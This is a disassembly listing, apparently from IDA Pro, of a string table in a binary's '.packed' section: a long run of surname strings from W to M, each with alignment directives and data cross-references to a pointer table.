aWeighart db 'Weighart',0 ; DATA XREF: .packed:0042EAD0o
align 4
aWaugh db 'Waugh',0 ; DATA XREF: .packed:0042EACCo
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: .packed:0042EAC8o
aWasowska db 'Wasowska',0 ; DATA XREF: .packed:0042EAC4o
align 10h
aWarshafsky db 'Warshafsky',0 ; DATA XREF: .packed:0042EAC0o
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .packed:0042EABCo
align 4
aVandenberg db 'Vandenberg',0 ; DATA XREF: .packed:0042EAB8o
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: .packed:0042EAB4o
aVanallen db 'vanAllen',0 ; DATA XREF: .packed:0042EAB0o
align 4
aWalter db 'Walter',0 ; DATA XREF: .packed:0042EAACo
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: .packed:0042EAA8o
align 10h
aWales db 'Wales',0 ; DATA XREF: .packed:0042EAA4o
align 4
aValencia db 'Valencia',0 ; DATA XREF: .packed:0042EAA0o
align 4
aValberg db 'Valberg',0 ; DATA XREF: .packed:0042EA9Co
aWaite db 'Waite',0 ; DATA XREF: .packed:0042EA98o
align 4
aVacca db 'Vacca',0 ; DATA XREF: .packed:0042EA94o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: .packed:0042EA90o
align 4
aUsdan db 'Usdan',0 ; DATA XREF: .packed:0042EA8Co
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .packed:0042EA88o
align 4
aUrban db 'Urban',0 ; DATA XREF: .packed:0042EA84o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: .packed:0042EA80o
aUntermeyer db 'Untermeyer',0 ; DATA XREF: .packed:0042EA7Co
align 4
aUllman db 'Ullman',0 ; DATA XREF: .packed:0042EA78o
align 10h
aTzamarias db 'Tzamarias',0 ; DATA XREF: .packed:0042EA74o
align 4
aTwells db 'Twells',0 ; DATA XREF: .packed:0042EA70o
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: .packed:0042EA6Co
align 4
aTurek db 'Turek',0 ; DATA XREF: .packed:0042EA68o
align 4
aTurano db 'Turano',0 ; DATA XREF: .packed:0042EA64o
align 4
aTukan db 'Tukan',0 ; DATA XREF: .packed:0042EA60o
align 4
aTudge db 'Tudge',0 ; DATA XREF: .packed:0042EA5Co
align 4
aTuck db 'Tuck',0 ; DATA XREF: .packed:0042EA58o
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: .packed:0042EA54o
align 10h
aTsomides db 'Tsomides',0 ; DATA XREF: .packed:0042EA50o
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: .packed:0042EA4Co
aTruss db 'Truss',0 ; DATA XREF: .packed:0042EA48o
align 4
aTroy db 'Troy',0 ; DATA XREF: .packed:0042EA44o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: .packed:0042EA40o
aTringali db 'Tringali',0 ; DATA XREF: .packed:0042EA3Co
align 4
aTrewin db 'Trewin',0 ; DATA XREF: .packed:0042EA38o
align 10h
aTrenga db 'Trenga',0 ; DATA XREF: .packed:0042EA34o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: .packed:0042EA30o
align 4
aToye db 'Toye',0 ; DATA XREF: .packed:0042EA2Co
align 4
aTowler db 'Towler',0 ; DATA XREF: .packed:0042EA28o
align 4
aTorske db 'Torske',0 ; DATA XREF: .packed:0042EA24o
align 4
aTorresi db 'Torresi',0 ; DATA XREF: .packed:0042EA20o
aTopulos db 'Topulos',0 ; DATA XREF: .packed:0042EA1Co
aToomer db 'Toomer',0 ; DATA XREF: .packed:0042EA18o
align 4
aTomford db 'Tomford',0 ; DATA XREF: .packed:0042EA14o
aTolman db 'Tolman',0 ; DATA XREF: .packed:0042EA10o
align 4
aTolls db 'Tolls',0 ; DATA XREF: .packed:0042EA0Co
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: .packed:0042EA08o
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: .packed:0042EA04o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: .packed:0042EA00o
aTill db 'Till',0 ; DATA XREF: .packed:0042E9FCo
align 4
aTierney db 'Tierney',0 ; DATA XREF: .packed:0042E9F8o
aThroop db 'Throop',0 ; DATA XREF: .packed:0042E9F4o
align 4
aThomsen db 'Thomsen',0 ; DATA XREF: .packed:0042E9F0o
aThisted db 'Thisted',0 ; DATA XREF: .packed:0042E9ECo
aThibault db 'Thibault',0 ; DATA XREF: .packed:0042E9E8o
align 10h
aTheodos db 'Theodos',0 ; DATA XREF: .packed:0042E9E4o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .packed:0042E9E0o
align 4
aThan db 'Than',0 ; DATA XREF: .packed:0042E9DCo
align 10h
aTerracini db 'Terracini',0 ; DATA XREF: .packed:0042E9D8o
align 4
aTenney db 'Tenney',0 ; DATA XREF: .packed:0042E9D4o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: .packed:0042E9D0o
align 4
aTemes db 'Temes',0 ; DATA XREF: .packed:0042E9CCo
align 4
aTeague db 'Teague',0 ; DATA XREF: .packed:0042E9C8o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .packed:0042E9C4o
align 4
aTawn db 'Tawn',0 ; DATA XREF: .packed:0042E9C0o
align 10h
aTaveras db 'Taveras',0 ; DATA XREF: .packed:0042E9BCo
aTatar db 'Tatar',0 ; DATA XREF: .packed:0042E9B8o
align 10h
aTanowitz db 'Tanowitz',0 ; DATA XREF: .packed:0042E9B4o
align 4
aTandler db 'Tandler',0 ; DATA XREF: .packed:0042E9B0o
aTambiah db 'Tambiah',0 ; DATA XREF: .packed:0042E9ACo
aTalaugon db 'Talaugon',0 ; DATA XREF: .packed:0042E9A8o
align 4
aTai db 'Tai',0 ; DATA XREF: .packed:0042E9A4o
aTagiuri db 'Tagiuri',0 ; DATA XREF: .packed:0042E9A0o
aSwindle db 'Swindle',0 ; DATA XREF: .packed:0042E99Co
aSweetser db 'Sweetser',0 ; DATA XREF: .packed:0042E998o
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: .packed:0042E994o
align 4
aSurdam db 'Surdam',0 ; DATA XREF: .packed:0042E990o
align 4
aSuo db 'Suo',0 ; DATA XREF: .packed:0042E98Co
aSumner db 'Sumner',0 ; DATA XREF: .packed:0042E988o
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: .packed:0042E984o
align 4
aStringer db 'Stringer',0 ; DATA XREF: .packed:0042E980o
align 10h
aStreiff db 'Streiff',0 ; DATA XREF: .packed:0042E97Co
aStrauch db 'Strauch',0 ; DATA XREF: .packed:0042E978o
aStrange db 'Strange',0 ; DATA XREF: .packed:0042E974o
aStott db 'Stott',0 ; DATA XREF: .packed:0042E970o
align 10h
aStorer db 'Storer',0 ; DATA XREF: .packed:0042E96Co
align 4
aStonich db 'Stonich',0 ; DATA XREF: .packed:0042E968o
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .packed:0042E964o
aStockwell db 'Stockwell',0 ; DATA XREF: .packed:0042E960o
align 4
aStockton db 'Stockton',0 ; DATA XREF: .packed:0042E95Co
align 4
aStock db 'Stock',0 ; DATA XREF: .packed:0042E958o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: .packed:0042E954o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: .packed:0042E950o
align 4
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .packed:0042E94Co
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: .packed:0042E948o
aStephanian db 'Stephanian',0 ; DATA XREF: .packed:0042E944o
align 4
aSteiner db 'Steiner',0 ; DATA XREF: .packed:0042E940o
aStefani db 'Stefani',0 ; DATA XREF: .packed:0042E93Co
aStatlender db 'Statlender',0 ; DATA XREF: .packed:0042E938o
align 4
aStates db 'States',0 ; DATA XREF: .packed:0042E934o
align 10h
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .packed:0042E930o
align 10h
aStang db 'Stang',0 ; DATA XREF: .packed:0042E92Co
align 4
aStam db 'Stam',0 ; DATA XREF: .packed:0042E928o
align 10h
aStalvey db 'Stalvey',0 ; DATA XREF: .packed:0042E924o
aStmartin db 'StMartin',0 ; DATA XREF: .packed:0042E920o
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: .packed:0042E91Co
aSpiliotis db 'Spiliotis',0 ; DATA XREF: .packed:0042E918o
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .packed:0042E914o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: .packed:0042E910o
align 10h
aSperber db 'Sperber',0 ; DATA XREF: .packed:0042E90Co
aSpence db 'Spence',0 ; DATA XREF: .packed:0042E908o
align 10h
aSpeizer db 'Speizer',0 ; DATA XREF: .packed:0042E904o
aSpaulding db 'Spaulding',0 ; DATA XREF: .packed:0042E900o
align 4
aSparrow db 'Sparrow',0 ; DATA XREF: .packed:0042E8FCo
aSpanier db 'Spanier',0 ; DATA XREF: .packed:0042E8F8o
aSoultanian db 'Soultanian',0 ; DATA XREF: .packed:0042E8F4o
align 10h
aSoule db 'Soule',0 ; DATA XREF: .packed:0042E8F0o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: .packed:0042E8ECo
align 10h
aSottak db 'Sottak',0 ; DATA XREF: .packed:0042E8E8o
align 4
aSorg db 'Sorg',0 ; DATA XREF: .packed:0042E8E4o
align 10h
aSorabella db 'Sorabella',0 ; DATA XREF: .packed:0042E8E0o
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: .packed:0042E8DCo
align 4
aSomers db 'Somers',0 ; DATA XREF: .packed:0042E8D8o
align 10h
aSolon db 'Solon',0 ; DATA XREF: .packed:0042E8D4o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: .packed:0042E8D0o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: .packed:0042E8CCo
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: .packed:0042E8C8o
aSmilow db 'Smilow',0 ; DATA XREF: .packed:0042E8C4o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: .packed:0042E8C0o
align 4
aSloan db 'Sloan',0 ; DATA XREF: .packed:0042E8BCo
align 4
aSkoda db 'Skoda',0 ; DATA XREF: .packed:0042E8B8o
align 4
aSkerry db 'Skerry',0 ; DATA XREF: .packed:0042E8B4o
align 4
aSkane db 'Skane',0 ; DATA XREF: .packed:0042E8B0o
align 4
aSites db 'Sites',0 ; DATA XREF: .packed:0042E8ACo
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: .packed:0042E8A8o
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .packed:0042E8A4o
align 10h
aSilvetti db 'Silvetti',0 ; DATA XREF: .packed:0042E8A0o
align 4
aSilverman db 'Silverman',0 ; DATA XREF: .packed:0042E89Co
align 4
aSigna db 'Signa',0 ; DATA XREF: .packed:0042E898o
align 10h
aSigini db 'Sigini',0 ; DATA XREF: .packed:0042E894o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: .packed:0042E890o
aSiesto db 'Siesto',0 ; DATA XREF: .packed:0042E88Co
align 4
aShimon db 'Shimon',0 ; DATA XREF: .packed:0042E888o
align 10h
aShibata db 'Shibata',0 ; DATA XREF: .packed:0042E884o
aShia db 'Shia',0 ; DATA XREF: .packed:0042E880o
align 10h
aShesko db 'Shesko',0 ; DATA XREF: .packed:0042E87Co
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: .packed:0042E878o
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: .packed:0042E874o
align 10h
aShepherd db 'Shepherd',0 ; DATA XREF: .packed:0042E870o
align 4
aSheats db 'Sheats',0 ; DATA XREF: .packed:0042E86Co
align 4
aShea db 'Shea',0 ; DATA XREF: .packed:0042E868o
align 4
aShavelson db 'Shavelson',0 ; DATA XREF: .packed:0042E864o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: .packed:0042E860o
aShar db 'Shar',0 ; DATA XREF: .packed:0042E85Co
align 4
aShanley db 'Shanley',0 ; DATA XREF: .packed:0042E858o
aShankland db 'Shankland',0 ; DATA XREF: .packed:0042E854o
align 4
aShakis db 'Shakis',0 ; DATA XREF: .packed:0042E850o
align 4
aShaikh db 'Shaikh',0 ; DATA XREF: .packed:0042E84Co
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: .packed:0042E848o
aSexton db 'Sexton',0 ; DATA XREF: .packed:0042E844o
align 4
aSeterdahl db 'Seterdahl',0 ; DATA XREF: .packed:0042E840o
align 4
aSennett db 'Sennett',0 ; DATA XREF: .packed:0042E83Co
aSen db 'Sen',0 ; DATA XREF: .packed:0042E838o
aSelvage db 'Selvage',0 ; DATA XREF: .packed:0042E834o
aSekler db 'Sekler',0 ; DATA XREF: .packed:0042E830o
align 4
aSegal db 'Segal',0 ; DATA XREF: .packed:0042E82Co
align 4
aSeeber db 'Seeber',0 ; DATA XREF: .packed:0042E828o
align 4
aSeaton db 'Seaton',0 ; DATA XREF: .packed:0042E824o
align 4
aScudder db 'Scudder',0 ; DATA XREF: .packed:0042E820o
aScovel db 'Scovel',0 ; DATA XREF: .packed:0042E81Co
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: .packed:0042E818o
aSchwan db 'Schwan',0 ; DATA XREF: .packed:0042E814o
align 10h
aSchuyler db 'Schuyler',0 ; DATA XREF: .packed:0042E810o
align 4
aSchutte db 'Schutte',0 ; DATA XREF: .packed:0042E80Co
aSchuman db 'Schuman',0 ; DATA XREF: .packed:0042E808o
aSchossberger db 'Schossberger',0 ; DATA XREF: .packed:0042E804o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: .packed:0042E800o
aSchilling db 'Schilling',0 ; DATA XREF: .packed:0042E7FCo
align 10h
aSchifini db 'Schifini',0 ; DATA XREF: .packed:0042E7F8o
align 4
aSchiano db 'Schiano',0 ; DATA XREF: .packed:0042E7F4o
aScheiner db 'Scheiner',0 ; DATA XREF: .packed:0042E7F0o
align 10h
aScharlemann db 'Scharlemann',0 ; DATA XREF: .packed:0042E7ECo
aScharf db 'Scharf',0 ; DATA XREF: .packed:0042E7E8o
align 4
aScepan db 'Scepan',0 ; DATA XREF: .packed:0042E7E4o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: .packed:0042E7E0o
align 4
aSayied db 'Sayied',0 ; DATA XREF: .packed:0042E7DCo
align 10h
aSawtell db 'Sawtell',0 ; DATA XREF: .packed:0042E7D8o
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .packed:0042E7D4o
align 4
aSatta db 'Satta',0 ; DATA XREF: .packed:0042E7D0o
align 10h
aSatin db 'Satin',0 ; DATA XREF: .packed:0042E7CCo
align 4
aSase db 'Sase',0 ; DATA XREF: .packed:0042E7C8o
align 10h
aSartore db 'Sartore',0 ; DATA XREF: .packed:0042E7C4o
aSarin db 'Sarin',0 ; DATA XREF: .packed:0042E7C0o
align 10h
aSapers db 'Sapers',0 ; DATA XREF: .packed:0042E7BCo
align 4
aSanna db 'Sanna',0 ; DATA XREF: .packed:0042E7B8o
align 10h
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .packed:0042E7B4o
aSamson db 'Samson',0 ; DATA XREF: .packed:0042E7B0o
align 4
aSali db 'Sali',0 ; DATA XREF: .packed:0042E7ACo
align 10h
aSahu db 'Sahu',0 ; DATA XREF: .packed:0042E7A8o
align 4
aSafire db 'Safire',0 ; DATA XREF: .packed:0042E7A4o
align 10h
aSadler db 'Sadler',0 ; DATA XREF: .packed:0042E7A0o
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: .packed:0042E79Co
align 4
aRyu db 'Ryu',0 ; DATA XREF: .packed:0042E798o
aRush db 'Rush',0 ; DATA XREF: .packed:0042E794o
align 10h
aRuescher db 'Ruescher',0 ; DATA XREF: .packed:0042E790o
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: .packed:0042E78Co
align 4
aRuan db 'Ruan',0 ; DATA XREF: .packed:0042E788o
align 10h
aRu db 'Ru',0 ; DATA XREF: .packed:0042E784o
align 4
aRoyal db 'Royal',0 ; DATA XREF: .packed:0042E780o
align 4
aRow db 'Row',0 ; DATA XREF: .packed:0042E77Co
aRonen db 'Ronen',0 ; DATA XREF: .packed:0042E778o
align 4
aRogers db 'Rogers',0 ; DATA XREF: .packed:0042E774o
align 10h
aRoesler db 'Roesler',0 ; DATA XREF: .packed:0042E770o
aRocha db 'Rocha',0 ; DATA XREF: .packed:0042E76Co
align 10h
aRobinson db 'Robinson',0 ; DATA XREF: .packed:0042E768o
align 4
aRivera db 'Rivera',0 ; DATA XREF: .packed:0042E764o
align 4
aRish db 'Rish',0 ; DATA XREF: .packed:0042E760o
align 4
aRineer db 'Rineer',0 ; DATA XREF: .packed:0042E75Co
align 4
aRindos db 'Rindos',0 ; DATA XREF: .packed:0042E758o
align 4
aRielly db 'Rielly',0 ; DATA XREF: .packed:0042E754o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: .packed:0042E750o
align 10h
aRhea db 'Rhea',0 ; DATA XREF: .packed:0042E74Co
align 4
aResnik db 'Resnik',0 ; DATA XREF: .packed:0042E748o
align 10h
aRepetto db 'Repetto',0 ; DATA XREF: .packed:0042E744o
aRenick db 'Renick',0 ; DATA XREF: .packed:0042E740o
align 10h
aRemak db 'Remak',0 ; DATA XREF: .packed:0042E73Co
align 4
aReinold db 'Reinold',0 ; DATA XREF: .packed:0042E738o
aCunningham db 'Cunningham',0 ; DATA XREF: .packed:0042E734o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: .packed:0042E730o
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .packed:0042E72Co
align 4
aRayport db 'Rayport',0 ; DATA XREF: .packed:0042E728o
aRapple db 'Rapple',0 ; DATA XREF: .packed:0042E724o
align 4
aRankin db 'Rankin',0 ; DATA XREF: .packed:0042E720o
align 10h
aRangan db 'Rangan',0 ; DATA XREF: .packed:0042E71Co
align 4
aRaney db 'Raney',0 ; DATA XREF: .packed:0042E718o
align 10h
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .packed:0042E714o
aRadeke db 'Radeke',0 ; DATA XREF: .packed:0042E710o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: .packed:0042E70Co
align 4
aRabe db 'Rabe',0 ; DATA XREF: .packed:0042E708o
align 4
aQuetin db 'Quetin',0 ; DATA XREF: .packed:0042E704o
align 4
aQuaday db 'Quaday',0 ; DATA XREF: .packed:0042E700o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: .packed:0042E6FCo
aPugh db 'Pugh',0 ; DATA XREF: .packed:0042E6F8o
align 4
aPuccia db 'Puccia',0 ; DATA XREF: .packed:0042E6F4o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .packed:0042E6F0o
align 4
aProietti db 'Proietti',0 ; DATA XREF: .packed:0042E6ECo
align 4
aPritz db 'Pritz',0 ; DATA XREF: .packed:0042E6E8o
align 10h
aPritchard db 'Pritchard',0 ; DATA XREF: .packed:0042E6E4o
align 4
aPrevost db 'Prevost',0 ; DATA XREF: .packed:0042E6E0o
aPreucel db 'Preucel',0 ; DATA XREF: .packed:0042E6DCo
aPresper db 'Presper',0 ; DATA XREF: .packed:0042E6D8o
aPowers db 'Powers',0 ; DATA XREF: .packed:0042E6D4o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: .packed:0042E6D0o
aPoma db 'Poma',0 ; DATA XREF: .packed:0042E6CCo
align 4
aPolitis db 'Politis',0 ; DATA XREF: .packed:0042E6C8o
aPolanyi db 'Polanyi',0 ; DATA XREF: .packed:0042E6C4o
aPolak db 'Polak',0 ; DATA XREF: .packed:0042E6C0o
align 4
aPoirier db 'Poirier',0 ; DATA XREF: .packed:0042E6BCo
aPointer db 'Pointer',0 ; DATA XREF: .packed:0042E6B8o
aPoincaire db 'Poincaire',0 ; DATA XREF: .packed:0042E6B4o
align 10h
aPocobene db 'Pocobene',0 ; DATA XREF: .packed:0042E6B0o
align 4
aPo db 'Po',0 ; DATA XREF: .packed:0042E6ACo
align 10h
aPlous db 'Plous',0 ; DATA XREF: .packed:0042E6A8o
align 4
aPlasket db 'Plasket',0 ; DATA XREF: .packed:0042E6A4o
aPlant db 'Plant',0 ; DATA XREF: .packed:0042E6A0o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: .packed:0042E69Co
aPinot db 'Pinot',0 ; DATA XREF: .packed:0042E698o
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: .packed:0042E694o
aPfister db 'Pfister',0 ; DATA XREF: .packed:0042E690o
aPettit db 'Pettit',0 ; DATA XREF: .packed:0042E68Co
align 10h
aPettibone db 'Pettibone',0 ; DATA XREF: .packed:0042E688o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: .packed:0042E684o
align 4
aPeters db 'Peters',0 ; DATA XREF: .packed:0042E680o
align 10h
aPerrimon db 'Perrimon',0 ; DATA XREF: .packed:0042E67Co
align 4
aPerone db 'Perone',0 ; DATA XREF: .packed:0042E678o
align 4
aPerna db 'Perna',0 ; DATA XREF: .packed:0042E674o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: .packed:0042E670o
aPerlak db 'Perlak',0 ; DATA XREF: .packed:0042E66Co
align 4
aPerko db 'Perko',0 ; DATA XREF: .packed:0042E668o
align 4
aPereira db 'Pereira',0 ; DATA XREF: .packed:0042E664o
aPenny db 'Penny',0 ; DATA XREF: .packed:0042E660o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: .packed:0042E65Co
aPederson db 'Pederson',0 ; DATA XREF: .packed:0042E658o
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: .packed:0042E654o
align 4
aPeabody db 'Peabody',0 ; DATA XREF: .packed:0042E650o
aPaynter db 'Paynter',0 ; DATA XREF: .packed:0042E64Co
aPawloski db 'Pawloski',0 ; DATA XREF: .packed:0042E648o
align 10h
aPavlon db 'Pavlon',0 ; DATA XREF: .packed:0042E644o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: .packed:0042E640o
aPattullo db 'Pattullo',0 ; DATA XREF: .packed:0042E63Co
align 4
aPatrick db 'Patrick',0 ; DATA XREF: .packed:0042E638o
aPatefield db 'Patefield',0 ; DATA XREF: .packed:0042E634o
align 10h
aPascucci db 'Pascucci',0 ; DATA XREF: .packed:0042E630o
align 4
aPartridge db 'Partridge',0 ; DATA XREF: .packed:0042E62Co
align 4
aParris db 'Parris',0 ; DATA XREF: .packed:0042E628o
align 10h
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .packed:0042E624o
aPaoletti db 'Paoletti',0 ; DATA XREF: .packed:0042E620o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: .packed:0042E61Co
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: .packed:0042E618o
align 10h
aPanadero db 'Panadero',0 ; DATA XREF: .packed:0042E614o
align 4
aPalmitesta db 'Palmitesta',0 ; DATA XREF: .packed:0042E610o
align 4
aPallara db 'Pallara',0 ; DATA XREF: .packed:0042E60Co
aPalepu db 'Palepu',0 ; DATA XREF: .packed:0042E608o
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: .packed:0042E604o
align 4
aPaine db 'Paine',0 ; DATA XREF: .packed:0042E600o
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .packed:0042E5FCo
align 4
aOvid db 'Ovid',0 ; DATA XREF: .packed:0042E5F8o
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: .packed:0042E5F4o
aOtten db 'Otten',0 ; DATA XREF: .packed:0042E5F0o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: .packed:0042E5ECo
align 10h
aOstrowski db 'Ostrowski',0 ; DATA XREF: .packed:0042E5E8o
align 4
aOspina db 'Ospina',0 ; DATA XREF: .packed:0042E5E4o
align 4
aOrsi db 'Orsi',0 ; DATA XREF: .packed:0042E5E0o
align 4
aOrfield db 'Orfield',0 ; DATA XREF: .packed:0042E5DCo
aOray db 'Oray',0 ; DATA XREF: .packed:0042E5D8o
align 4
aOpel db 'Opel',0 ; DATA XREF: .packed:0042E5D4o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: .packed:0042E5D0o
aOman db 'Oman',0 ; DATA XREF: .packed:0042E5CCo
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: .packed:0042E5C8o
align 10h
aOlszewski db 'Olszewski',0 ; DATA XREF: .packed:0042E5C4o
align 4
aOlson db 'Olson',0 ; DATA XREF: .packed:0042E5C0o
align 4
aOlsen db 'Olsen',0 ; DATA XREF: .packed:0042E5BCo
align 4
aOldford db 'Oldford',0 ; DATA XREF: .packed:0042E5B8o
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .packed:0042E5B4o
aOh db 'Oh',0 ; DATA XREF: .packed:0042E5B0o
align 10h
aOgata db 'Ogata',0 ; DATA XREF: .packed:0042E5ACo
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: .packed:0042E5A8o
aNuzum db 'Nuzum',0 ; DATA XREF: .packed:0042E5A4o
align 4
aNotman db 'Notman',0 ; DATA XREF: .packed:0042E5A0o
align 10h
aNitabach db 'Nitabach',0 ; DATA XREF: .packed:0042E59Co
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: .packed:0042E598o
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: .packed:0042E594o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: .packed:0042E590o
align 10h
aNi_0 db 'Ni',0 ; DATA XREF: .packed:0042E58Co
align 4
aNg db 'Ng',0 ; DATA XREF: .packed:0042E588o
align 4
aNewlin db 'Newlin',0 ; DATA XREF: .packed:0042E584o
align 10h
aNewfeld db 'Newfeld',0 ; DATA XREF: .packed:0042E580o
aNeuman db 'Neuman',0 ; DATA XREF: .packed:0042E57Co
align 10h
aNesci db 'Nesci',0 ; DATA XREF: .packed:0042E578o
align 4
aNenna db 'Nenna',0 ; DATA XREF: .packed:0042E574o
align 10h
aNelson db 'Nelson',0 ; DATA XREF: .packed:0042E570o
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: .packed:0042E56Co
aNaviaux db 'Naviaux',0 ; DATA XREF: .packed:0042E568o
aNardone db 'Nardone',0 ; DATA XREF: .packed:0042E564o
aNardi db 'Nardi',0 ; DATA XREF: .packed:0042E560o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: .packed:0042E55Co
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: .packed:0042E558o
align 4
aMussachio db 'Mussachio',0 ; DATA XREF: .packed:0042E554o
align 4
aMumford db 'Mumford',0 ; DATA XREF: .packed:0042E550o
aMulroy db 'Mulroy',0 ; DATA XREF: .packed:0042E54Co
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: .packed:0042E548o
aMugnai db 'Mugnai',0 ; DATA XREF: .packed:0042E544o
align 4
aMuello db 'Muello',0 ; DATA XREF: .packed:0042E540o
align 10h
aMudarri db 'Mudarri',0 ; DATA XREF: .packed:0042E53Co
aMotooka db 'Motooka',0 ; DATA XREF: .packed:0042E538o
aMostafavi db 'Mostafavi',0 ; DATA XREF: .packed:0042E534o
align 4
aMosler db 'Mosler',0 ; DATA XREF: .packed:0042E530o
align 4
aMosher db 'Mosher',0 ; DATA XREF: .packed:0042E52Co
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: .packed:0042E528o
align 4
aMorrow db 'Morrow',0 ; DATA XREF: .packed:0042E524o
align 10h
aMorrison db 'Morrison',0 ; DATA XREF: .packed:0042E520o
align 4
aMoreton db 'Moreton',0 ; DATA XREF: .packed:0042E51Co
aMorani db 'Morani',0 ; DATA XREF: .packed:0042E518o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .packed:0042E514o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: .packed:0042E510o
align 4
aMonque db 'Monque',0 ; DATA XREF: .packed:0042E50Co
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: .packed:0042E508o
align 4
aMohr db 'Mohr',0 ; DATA XREF: .packed:0042E504o
align 10h
aMoeller db 'Moeller',0 ; DATA XREF: .packed:0042E500o
aModestino db 'Modestino',0 ; DATA XREF: .packed:0042E4FCo
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: .packed:0042E4F8o
aMittal db 'Mittal',0 ; DATA XREF: .packed:0042E4F4o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .packed:0042E4F0o
aGonzalez db 'Gonzalez',0 ; DATA XREF: .packed:0042E4ECo
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: .packed:0042E4E8o
aMini db 'Mini',0 ; DATA XREF: .packed:0042E4E4o
align 10h
aMinh db 'Minh',0 ; DATA XREF: .packed:0042E4E0o
align 4
aMills db 'Mills',0 ; DATA XREF: .packed:0042E4DCo
align 10h
aMieher db 'Mieher',0 ; DATA XREF: .packed:0042E4D8o
align 4
aMiddle db 'Middle',0 ; DATA XREF: .packed:0042E4D4o
align 10h
aMichelman db 'Michelman',0 ; DATA XREF: .packed:0042E4D0o
align 4
aMeurer db 'Meurer',0 ; DATA XREF: .packed:0042E4CCo
align 4
aMetropolis db 'Metropolis',0 ; DATA XREF: .packed:0042E4C8o
align 10h
aMetelka db 'Metelka',0 ; DATA XREF: .packed:0042E4C4o
aMerz db 'Merz',0 ; DATA XREF: .packed:0042E4C0o
align 10h
aMerseth db 'Merseth',0 ; DATA XREF: .packed:0042E4BCo
aMerminod db 'Merminod',0 ; DATA XREF: .packed:0042E4B8o
align 4
aMerlani db 'Merlani',0 ; DATA XREF: .packed:0042E4B4o
